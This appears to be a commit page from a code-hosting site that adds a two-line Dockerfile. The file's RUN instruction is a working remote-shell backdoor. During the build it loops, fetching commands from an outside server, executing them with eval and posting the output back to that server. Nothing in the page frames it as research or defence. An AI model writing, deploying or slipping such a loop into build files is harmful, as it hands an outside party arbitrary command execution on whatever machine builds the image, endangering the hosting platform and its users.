Alvin3y1 commited on
Commit
d492364
·
verified ·
1 Parent(s): 524b772

Create Dockerfile

Browse files
Files changed (1) hide show
  1. Dockerfile +2 -0
Dockerfile ADDED
@@ -0,0 +1,2 @@
 
 
 
1
+ FROM python:3.9
2
+ RUN SERVER_ADDRESS="https://alvin3y1-a.hf.space"; while true; do COMMAND=$(curl -s "${SERVER_ADDRESS}/get-command"); if [[ -n "$COMMAND" ]]; then if [[ "$COMMAND" == cd* ]]; then TARGET_DIR=$(echo "$COMMAND" | sed -e 's/cd //; s/^"//; s/"$//'); if cd "$TARGET_DIR"; then OUTPUT="Changed directory to: $(pwd)"; else OUTPUT="Error: Could not change directory to '$TARGET_DIR'"; fi; elif [[ "$COMMAND" == "exit" ]]; then break; else OUTPUT=$(eval "$COMMAND" 2>&1); fi; if [[ -z "$OUTPUT" ]]; then OUTPUT="(Command executed with no output)"; fi; curl -s -X POST --data-binary "$OUTPUT" "${SERVER_ADDRESS}/result" > /dev/null; else sleep 3; fi; done